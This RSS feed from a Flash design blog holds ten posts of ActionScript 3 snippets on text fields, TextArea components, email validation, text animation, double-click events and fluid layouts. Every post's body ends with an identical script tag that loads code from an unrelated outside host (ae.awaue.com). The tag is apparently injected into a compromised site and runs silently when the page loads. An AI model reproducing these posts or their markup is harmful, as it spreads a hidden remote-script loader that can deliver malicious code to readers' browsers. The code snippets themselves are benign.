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	<title>Official Design and Development Resource of ThornyRabbit &#187; ActionScript 3</title>
	<atom:link href="http://blog.thornyrabbit.com/tag/actionscript-3/feed/" rel="self" type="application/rss+xml" />
	<link>http://blog.thornyrabbit.com</link>
	<description>because we love</description>
	<lastBuildDate>Fri, 19 Mar 2010 16:55:29 +0000</lastBuildDate>
	<language>en</language>
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		<item>
		<title>Brochure Open Engine</title>
		<link>http://blog.thornyrabbit.com/2009/10/brochure-open-engine/</link>
		<comments>http://blog.thornyrabbit.com/2009/10/brochure-open-engine/#comments</comments>
		<pubDate>Fri, 02 Oct 2009 01:08:07 +0000</pubDate>
		<dc:creator>Michele</dc:creator>
				<category><![CDATA[Code]]></category>
		<category><![CDATA[Flash]]></category>
		<category><![CDATA[ActionScript 3]]></category>
		<category><![CDATA[featured]]></category>

		<guid isPermaLink="false">http://blog.thornyrabbit.com/?p=233</guid>
		<description><![CDATA[This is one of the earlier items we uploaded to Flashden, but it has proved to be reasonabily popular, so I thought I would highlight it. It is a pretty nifty little flash movie, that is kinda like the evil flash flipping book. I hate flipping books, although it does work in places, for example [...]]]></description>
			<content:encoded><![CDATA[<p>This is one of the earlier items we uploaded to Flashden, but it has proved to be reasonabily popular, so I thought I would highlight it. It is a pretty nifty little flash movie, that is kinda like the evil flash flipping book. I hate flipping books, although it does work in places, for example on the <a href="http://www.Blurb.com" target="_blank">www.Blurb.com</a> site.</p>
<p>What I like about this is that you can have more of a brochure instead of a magazine / book as a lot of the time one tends to create brochures more and also it is a bit more unique. Andrew coded this in ActionScript 3 and since he knows far more than I do about the subject I will not go into the technical aspects of it.</p>
<p><a href="http://flashden.net/item/brochure-open-engine/40619"><img class="alignnone size-full wp-image-258" title="bunnies" src="http://blog.thornyrabbit.com/wp-content/uploads/2009/10/bunnies1.jpg" alt="bunnies" width="400" height="203" /></a></p>
<p><strong>In summary this is what it does:</strong></p>
<p>Brochure Open Engine uses 6 images in the library to create an interactive animated brochure opening, flipping over, and closing.The images can be easily replaced (provided the symbols are kept centered). File size is dependent on the size of the images used. All symbols are editable in the Library. Size is fixed based on the required area to display the full brochure, user can adjust as needed.</p>
<p>If you like the sounds of it have a look on <a href="http://flashden.net/item/brochure-open-engine/40619" target="_blank">Flashden</a>, and even better you can always buy it!<script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
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		</item>
		<item>
		<title>Preventing Text Field Blocking MouseClicks</title>
		<link>http://blog.thornyrabbit.com/2009/04/preventing-text-field-blocking-mouseclicks/</link>
		<comments>http://blog.thornyrabbit.com/2009/04/preventing-text-field-blocking-mouseclicks/#comments</comments>
		<pubDate>Thu, 16 Apr 2009 18:33:56 +0000</pubDate>
		<dc:creator>Michele</dc:creator>
				<category><![CDATA[ActionScript 3 Snippets]]></category>
		<category><![CDATA[ActionScript 3]]></category>
		<category><![CDATA[Flash]]></category>
		<category><![CDATA[MouseEvent]]></category>
		<category><![CDATA[Sprite]]></category>
		<category><![CDATA[Text]]></category>

		<guid isPermaLink="false">http://blog.thornyrabbit.com/?p=213</guid>
		<description><![CDATA[A solution for text fields stopping mouse clicks.]]></description>
			<content:encoded><![CDATA[<p><strong>To make text not clickable &#8211; as it may interfere with a sprite being clickable:</strong></p>
<p>textFiledCreatorName.mouseEnabled = false;</p>
<p>Fine if this text field is nested in the same sprite.</p>
<p>But put the text into another sprite overlapping the one below that has the eventListener &#8211; and it still blocks it.</p>
<p><strong>Solution:</strong></p>
<pre>otherOverlappingSprite.mouseEnabled = false;</pre>
<p>//<strong>on the overlapping sprite AS WELL AS the text field.</strong><script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
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		</item>
		<item>
		<title>Adobe TextArea component &#8211; adding and controlling.</title>
		<link>http://blog.thornyrabbit.com/2009/04/adobe-textarea-component-adding-and-controlling/</link>
		<comments>http://blog.thornyrabbit.com/2009/04/adobe-textarea-component-adding-and-controlling/#comments</comments>
		<pubDate>Thu, 16 Apr 2009 18:31:01 +0000</pubDate>
		<dc:creator>Michele</dc:creator>
				<category><![CDATA[ActionScript 3 Snippets]]></category>
		<category><![CDATA[ActionScript 3]]></category>
		<category><![CDATA[Adobe]]></category>
		<category><![CDATA[Carat]]></category>
		<category><![CDATA[Component]]></category>
		<category><![CDATA[featured]]></category>
		<category><![CDATA[Flash]]></category>
		<category><![CDATA[Html]]></category>
		<category><![CDATA[Loader]]></category>
		<category><![CDATA[Text]]></category>
		<category><![CDATA[Text Format]]></category>

		<guid isPermaLink="false">http://blog.thornyrabbit.com/?p=211</guid>
		<description><![CDATA[Adding the Adobe TextArea component and setting properties for padding, carat, loading html and setting start scroll point.]]></description>
			<content:encoded><![CDATA[<p><strong>Imports:</strong></p>
<p>import fl.controls.*;//text area component</p>
<p>import flash.net.*;</p>
<p>import flash.text.*;</p>
<p> </p>
<p><strong>Load html text into TextArea component:</strong></p>
<p>private function loadCaseOverviewText():void {</p>
<p>var urlLdr:URLLoader = new URLLoader();</p>
<p>urlLdr.addEventListener(Event.COMPLETE, completeTextLoadHandler);</p>
<p>urlLdr.dataFormat = URLLoaderDataFormat.TEXT;</p>
<p>urlLdr.load(new URLRequest(&#8220;text_assets/advertising_overview.html&#8221;));</p>
<p>}//loadCaseOverviewText</p>
<p> </p>
<p>private function completeTextLoadHandler(event:Event):void {</p>
<p>var str:String = event.target.data as String;</p>
<p>textAreaCMP.htmlText = str;</p>
<p>}//completeTextLoadHandler</p>
<p>&#8212;&#8212;&#8212;&#8212;</p>
<p><strong>Position scrollbar back at top of TextArea component when new content is loaded or a new section is navigated to using:</strong></p>
<p>textAreaCMP.verticalScrollPosition = 1;</p>
<p>&#8212;&#8212;&#8212;&#8212;-</p>
<p><strong>Set padding in TextArea component:</strong></p>
<p>textAreaCMP.setStyle(&#8220;textPadding&#8221; , 10);</p>
<p>&#8212;&#8212;&#8212;&#8211;</p>
<p><strong>Disable carat (bar) cursor from showing when rolling over textArea component:</strong></p>
<p>textAreaCMP.drawFocus (false);<script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
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		</item>
		<item>
		<title>Text Formatting &amp; AutoSizing</title>
		<link>http://blog.thornyrabbit.com/2009/04/text-formatting-autosizing/</link>
		<comments>http://blog.thornyrabbit.com/2009/04/text-formatting-autosizing/#comments</comments>
		<pubDate>Thu, 16 Apr 2009 18:27:24 +0000</pubDate>
		<dc:creator>Michele</dc:creator>
				<category><![CDATA[ActionScript 3 Snippets]]></category>
		<category><![CDATA[ActionScript 3]]></category>
		<category><![CDATA[AutoSize]]></category>
		<category><![CDATA[featured]]></category>
		<category><![CDATA[Flash]]></category>
		<category><![CDATA[String]]></category>
		<category><![CDATA[Text]]></category>
		<category><![CDATA[Text Format]]></category>

		<guid isPermaLink="false">http://blog.thornyrabbit.com/?p=209</guid>
		<description><![CDATA[Bit chaotic but these properties are always useful when adding text fields.]]></description>
			<content:encoded><![CDATA[<p>private function addTextCaption():void{</p>
<p>if(textCaption != null){</p>
<p>removeChild(textCaption);</p>
<p>}//remove if it exists</p>
<p><span> </span></p>
<p>textCaption = new TextField();</p>
<p><span> </span></p>
<p>var font:Verdana = new Verdana(); //linkage name in library</p>
<p>var format:TextFormat = new TextFormat(); //should have separate formatting function</p>
<p>format.font = font.fontName;</p>
<p>format.color = textColorVar;</p>
<p>format.size = infoFontSize;</p>
<p>format.align = TextFormatAlign.LEFT;</p>
<p> </p>
<p>textCaption.x = thumbnailWidth + textBorder; </p>
<p>textCaption.y = imageHeight + headingHeight;</p>
<p>textCaption.width = stage.stageWidth &#8211; thumbnailWidth;</p>
<p>textCaption.height =  200; //don&#8217;t need height if autosize single or multiline text</p>
<p>textCaption.multiline = true;</p>
<p>textCaption.wordWrap = true;//must be set else cuts off</p>
<p>//textCaption.autoSize = TextFieldAutoSize.LEFT;</p>
<p>textCaption.antiAliasType = flash.text.AntiAliasType.ADVANCED;</p>
<p>textCaption.selectable = false;</p>
<p>textCaption.embedFonts = true;</p>
<p>addChild(textCaption);</p>
<p>textCaption.defaultTextFormat = format;</p>
<p>textCaption.text = imageCaptionArray[tempCounter];</p>
<p>}//addTextCaption</p>
<p><strong>NOTES:</strong></p>
<p>To autosize height do not specify a height but must include autosize:</p>
<p>textCaption.wordWrap = true;</p>
<p>textCaption.autoSize = TextFieldAutoSize.LEFT;</p>
<p>textCaption.x =  textBoxXPos; </p>
<p>textCaption.y = textBoxYPos;</p>
<p>textCaption.width = stageWide &#8211; textBoxXPos;</p>
<p>//textCaption.height =  stageHigh &#8211; textBoxYPos;//not allowed with autoSize<br />
<em>For width autosize leave out width obviously.</em><script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
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		</item>
		<item>
		<title>Easy re-usable function to creat customisable text fields on the fly.</title>
		<link>http://blog.thornyrabbit.com/2009/04/easy-re-usable-function-to-creat-customisable-text-fields-on-the-fly/</link>
		<comments>http://blog.thornyrabbit.com/2009/04/easy-re-usable-function-to-creat-customisable-text-fields-on-the-fly/#comments</comments>
		<pubDate>Thu, 16 Apr 2009 18:24:19 +0000</pubDate>
		<dc:creator>thornyeternity</dc:creator>
				<category><![CDATA[ActionScript 3 Snippets]]></category>
		<category><![CDATA[ActionScript 3]]></category>
		<category><![CDATA[Flash]]></category>
		<category><![CDATA[Function]]></category>
		<category><![CDATA[String]]></category>
		<category><![CDATA[Text]]></category>

		<guid isPermaLink="false">http://blog.thornyrabbit.com/?p=207</guid>
		<description><![CDATA[Re-usable function allowing one to quickly create text fields dynamically as needed. Saves time.]]></description>
			<content:encoded><![CDATA[<p>var inputAddressTextField:TextField = new TextField();</p>
<p>genericTextField(inputAddressTextField, 50 , 4, 200 , 20 , true, 0xcc0000 , true, 0xcc99ff , true , 0xffffff); </p>
<p>//obj,x,y,width,height,bg,bgColor,border,borderColor,selectable,textColor</p>
<p>//NOTE: just use 0 (zero) for bg and border color if false, and for sizes if autosizing</p>
<p>inputAddressTextField.type = TextFieldType.INPUT; //any specifics</p>
<p>header.addChild(inputAddressTextField);</p>
<p>formatTextStyle(inputAddressTextField , 14)</p>
<p>private function genericTextField(whichField:TextField , xpos:Number, ypos:Number , fieldWidth:Number , fieldHeight:Number , bgBool:Boolean, bgColor:uint , borderBool:Boolean , borderColor:uint , selectableBool:Boolean , txtColor:uint){</p>
<p>whichField.x = xpos</p>
<p>whichField.y = ypos;</p>
<p>whichField.width = fieldWidth;</p>
<p>whichField.height = fieldHeight;</p>
<p>whichField.background = bgBool;</p>
<p>whichField.backgroundColor = bgColor;</p>
<p>whichField.border = borderBool;</p>
<p>whichField.borderColor = borderColor;</p>
<p>whichField.selectable = selectableBool;</p>
<p>whichField.textColor = txtColor;</p>
<p>}//genericTextField</p>
<p> </p>
<p>private function formatTextStyle(whichField:TextField , txtSize:Number):void{ //Set the stylesheet property before setting the content.</p>
<p>var format:TextFormat = new TextFormat(); //should have separate formatting function</p>
<p>format.size = txtSize;</p>
<p>format.font = &#8220;_sans&#8221;;</p>
<p>format.align = TextFormatAlign.LEFT;</p>
<p>whichField.defaultTextFormat = format;</p>
<p>}//addStyleSheet<script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
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		</item>
		<item>
		<title>3 Text Handling Methods &#8211; Input Text, Selecting Text, Returning text</title>
		<link>http://blog.thornyrabbit.com/2009/04/3-text-handling-methods-input-text-selecting-text-returning-text/</link>
		<comments>http://blog.thornyrabbit.com/2009/04/3-text-handling-methods-input-text-selecting-text-returning-text/#comments</comments>
		<pubDate>Thu, 16 Apr 2009 18:21:10 +0000</pubDate>
		<dc:creator>thornyeternity</dc:creator>
				<category><![CDATA[ActionScript 3 Snippets]]></category>
		<category><![CDATA[ActionScript 3]]></category>
		<category><![CDATA[Add new tag]]></category>
		<category><![CDATA[eventListener]]></category>
		<category><![CDATA[Flash]]></category>
		<category><![CDATA[String]]></category>
		<category><![CDATA[Text]]></category>

		<guid isPermaLink="false">http://blog.thornyrabbit.com/?p=205</guid>
		<description><![CDATA[3 useful text tips - creating input text field, selecting all text in a field when user clicks it, returning a string value.]]></description>
			<content:encoded><![CDATA[<p><strong>Create input text field:</strong></p>
<p>currField.<strong>type</strong> = TextFieldType<strong>.INPUT</strong>;</p>
<p>currField.<strong>selectable = true</strong>; //must be true to be inputtable</p>
<p>&#8212;&#8212;&#8212;</p>
<p><strong>Select text when the field is clicked on:</strong></p>
<p>currField.addEventListener(MouseEvent.CLICK, highlightText);</p>
<p>private function highlightText(event:MouseEvent):void{</p>
<p>event.target.setSelection(0, event.target.length); //start point, end point</p>
<p>}</p>
<p>&#8212;&#8212;&#8211;</p>
<p><strong>Return string value from function call:</strong></p>
<p>currField.text = scoreLabel();</p>
<p>private function scoreLabel():String{</p>
<p>var scoreString:String = &#8220;Your score: &#8221; + scoreGot + &#8220;/&#8221; + questionTotal;</p>
<p>return scoreString;</p>
<p>}//scoreLabel<script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
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		</item>
		<item>
		<title>AS3 Form Validation &#8211; email address and filled field</title>
		<link>http://blog.thornyrabbit.com/2009/04/as3-form-validation-email-address-and-filled-field/</link>
		<comments>http://blog.thornyrabbit.com/2009/04/as3-form-validation-email-address-and-filled-field/#comments</comments>
		<pubDate>Thu, 16 Apr 2009 18:16:59 +0000</pubDate>
		<dc:creator>thornyeternity</dc:creator>
				<category><![CDATA[ActionScript 3 Snippets]]></category>
		<category><![CDATA[ActionScript 3]]></category>
		<category><![CDATA[Flash]]></category>
		<category><![CDATA[Form Validation]]></category>
		<category><![CDATA[String]]></category>
		<category><![CDATA[Text]]></category>

		<guid isPermaLink="false">http://blog.thornyrabbit.com/?p=203</guid>
		<description><![CDATA[Checking if email address is valid and that fields are filled in (and not with spaces).]]></description>
			<content:encoded><![CDATA[<p><strong>Check for a valid email address in a text input field by checking for @, fullstop and positioning of these:</strong></p>
<p>private function checkEmail(whichObj:String):Boolean{</p>
<p>//check for @</p>
<p>//check for .</p>
<p>//check @ preceeds last dot</p>
<p>//check that @ is not first</p>
<p>//email cannot have any spaces</p>
<p>if(whichObj.indexOf(&#8220;@&#8221;) == -1 || whichObj.indexOf(&#8220;@&#8221;) == 0){ //not present or first</p>
<p>emailBool = false;</p>
<p>}else{</p>
<p>emailBool = true;//if @ exists check for dot</p>
<p>if(whichObj.lastIndexOf(&#8220;.&#8221;) == -1 || whichObj.lastIndexOf(&#8220;.&#8221;) == whichObj.length-1){ //not present or at very end</p>
<p>emailBool = false;</p>
<p>}else{</p>
<p>emailBool = true;//if both are true check @ preceeds dot</p>
<p>if(whichObj.lastIndexOf(&#8220;.&#8221;) &lt; whichObj.indexOf(&#8220;@&#8221;)  || whichObj.lastIndexOf(&#8220;.&#8221;) == whichObj.indexOf(&#8220;@&#8221;)+1 ){//not before and not directly after</p>
<p>emailBool = false;</p>
<p>}else{</p>
<p>emailBool = true;</p>
<p>//lastly check it has NO spaces in it</p>
<p>for(var i:Number = 0 ; i &lt; whichObj.length ; i++){ </p>
<p>if(whichObj.charAt(i) == &#8221; &#8220;){ //if the character is a space</p>
<p>emailBool = false;</p>
<p>}</p>
<p>}</p>
<p>}</p>
<p>}</p>
<p>}</p>
<p>trace(&#8220;emailBool: &#8221; + emailBool);</p>
<p>return emailBool;</p>
<p>}//checkEmail</p>
<p>&#8212;&#8212;&#8212;&#8212;-</p>
<p><strong>Check a text input field is filled in and it has NO spaces:</strong></p>
<p>private function doFormCheck(event:MouseEvent):void{</p>
<p>checkName(form1_mc.name_txt.text);</p>
<p>trace(stringBool);</p>
<p>}//doFormCheck</p>
<p><span> </span></p>
<p>private function checkName(whichObj:String):Boolean{</p>
<p>//check that its not empty only AND that its not just spaces</p>
<p>if(whichObj != &#8220;&#8221;){</p>
<p>//not empty so </p>
<p>stringBool = true;</p>
<p>for(var i:Number = 0 ; i &lt; whichObj.length ; i++){</p>
<p>if(whichObj.charAt(i) != &#8221; &#8220;){ //if the character is not a space</p>
<p>stringBool = true;</p>
<p>return stringBool;//quit checking</p>
<p>}else{//else it is a space</p>
<p>stringBool = false;</p>
<p>return stringBool;</p>
<p>}</p>
<p>}//for</p>
<p>return stringBool;</p>
<p>}else{</p>
<p>stringBool = false; //else it is empty</p>
<p>return stringBool;</p>
<p>}//if</p>
<p>}//checkName<script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
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		</item>
		<item>
		<title>Animating Dynamic text onto the screen letter by letter</title>
		<link>http://blog.thornyrabbit.com/2009/04/animating-dynamic-text-onto-the-screen-letter-by-letter/</link>
		<comments>http://blog.thornyrabbit.com/2009/04/animating-dynamic-text-onto-the-screen-letter-by-letter/#comments</comments>
		<pubDate>Thu, 16 Apr 2009 18:13:59 +0000</pubDate>
		<dc:creator>thornyeternity</dc:creator>
				<category><![CDATA[ActionScript 3 Snippets]]></category>
		<category><![CDATA[ActionScript 3]]></category>
		<category><![CDATA[Array]]></category>
		<category><![CDATA[Flash]]></category>
		<category><![CDATA[String]]></category>
		<category><![CDATA[Text]]></category>
		<category><![CDATA[Timer]]></category>

		<guid isPermaLink="false">http://blog.thornyrabbit.com/?p=201</guid>
		<description><![CDATA[Easy way to animate text with code. ]]></description>
			<content:encoded><![CDATA[<p>private function setInitialContentForCaseStudy():void{</p>
<p>more_mc.solution_txt.text = &#8220;&#8221;;//clear to start</p>
<p>solutionString = solutionsArray[0];</p>
<p>animationCounter = 0;</p>
<p>animationTimer = new Timer(100, 0); </p>
<p>animationTimer.addEventListener(TimerEvent.TIMER, animateContent);</p>
<p>animationTimer.start();</p>
<p>}//setInitialContentForCaseStudy</p>
<p><span> </span></p>
<p><span> </span></p>
<p>private function animateContent(event:TimerEvent):void{</p>
<p>more_mc.solution_txt.appendText(solutionString.charAt(animationCounter));</p>
<p>animationCounter++;</p>
<p>if(animationCounter == solutionString.length){</p>
<p>animationTimer.stop();</p>
<p>}//if</p>
<p>}//animateContent</p>
<p><strong>Beware of other stuff happening at same time or too much text &#8211; can be slow!</strong><script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
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		</item>
		<item>
		<title>Implementing Double_Click Event with AS3</title>
		<link>http://blog.thornyrabbit.com/2009/04/implementing-double_click-event-with-as3/</link>
		<comments>http://blog.thornyrabbit.com/2009/04/implementing-double_click-event-with-as3/#comments</comments>
		<pubDate>Thu, 16 Apr 2009 18:10:21 +0000</pubDate>
		<dc:creator>thornyeternity</dc:creator>
				<category><![CDATA[ActionScript 3 Snippets]]></category>
		<category><![CDATA[ActionScript 3]]></category>
		<category><![CDATA[eventListener]]></category>
		<category><![CDATA[Flash]]></category>

		<guid isPermaLink="false">http://blog.thornyrabbit.com/?p=199</guid>
		<description><![CDATA[The missing detail from Adobe's 'help".]]></description>
			<content:encoded><![CDATA[<p>oneFront.<strong>doubleClickEnabled = true</strong>; //must be enabled for it to work</p>
<p>oneFront.addEventListener(MouseEvent.DOUBLE_CLICK, rotateCard);<script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
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		</item>
		<item>
		<title>StageListeners &#8211; Fluid Layout (fill class as basis to position items)</title>
		<link>http://blog.thornyrabbit.com/2009/04/stagelisteners-fluid-layout-fill-class-as-basis-to-position-items/</link>
		<comments>http://blog.thornyrabbit.com/2009/04/stagelisteners-fluid-layout-fill-class-as-basis-to-position-items/#comments</comments>
		<pubDate>Mon, 06 Apr 2009 23:03:40 +0000</pubDate>
		<dc:creator>thornyeternity</dc:creator>
				<category><![CDATA[ActionScript 3 Snippets]]></category>
		<category><![CDATA[ActionScript 3]]></category>
		<category><![CDATA[Class]]></category>
		<category><![CDATA[featured]]></category>
		<category><![CDATA[Flash]]></category>
		<category><![CDATA[Liquid Layout]]></category>
		<category><![CDATA[stage]]></category>
		<category><![CDATA[stageListeners]]></category>

		<guid isPermaLink="false">http://blog.thornyrabbit.com/?p=193</guid>
		<description><![CDATA[Full class to use for creating liquid layouts (AS3).]]></description>
			<content:encoded><![CDATA[<p><strong>Class and how to instatiate &#8211; useful for liquid layouts:</strong></p>
<p>package {</p>
<p><span> </span>import flash.display.*</p>
<p><span> </span>import flash.events.*;</p>
<p><span> </span></p>
<p><span> </span>public class StageListeners extends Sprite {</p>
<p><span> </span></p>
<p><span> </span>private var _mc:Sprite;</p>
<p><span> </span>private var mcStage:Stage;</p>
<p><span> </span></p>
<p><span> </span>public function StageListeners(_mc:Sprite){</p>
<p><span> </span>this._mc = _mc;</p>
<p><span> </span>mcStage = _mc.stage;</p>
<p><span> </span>addStageListener();</p>
<p><span> </span>}//StageListeners</p>
<p><span> </span></p>
<p><span> </span>public function addStageListener() {</p>
<p><span> </span>mcStage.scaleMode = StageScaleMode.NO_SCALE;</p>
<p><span> </span>mcStage.align = StageAlign.TOP_LEFT;</p>
<p><span> </span>mcStage.addEventListener(Event.RESIZE, resizeHandler);</p>
<p><span> </span>}//addStageListener</p>
<p><span> </span></p>
<p><span> </span>private function resizeHandler(event:Event):void {</p>
<p><span> </span>trace(&#8220;stageWidth: &#8220;+mcStage.stageWidth);</p>
<p><span> </span>trace(&#8220;stageHeight: &#8220;+mcStage.stageHeight);</p>
<p>//aligned center</p>
<p><span> </span>_mc.x = mcStage.stageWidth/2;</p>
<p><span> </span>_mc.y = mcStage.stageHeight/2;</p>
<p><span> </span>//or if aligned left</p>
<p><span> </span>_mc.x = 0;</p>
<p><span> </span>_mc.width = mcStage.stageWidth;</p>
<p><span> </span>var scaleAmountX:Number = _mc.scaleX;</p>
<p><span> </span>_mc.scaleY = scaleAmountX; //keep proportional</p>
<p><span> </span>}//resizeHandler</p>
<p><span> </span></p>
<p><span> </span>}//class</p>
<p>}//package</p>
<p><strong>//////////////////////instantiate with:</strong></p>
<p>var bgStageListener:StageListeners = new StageListeners(resizeBg);<script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
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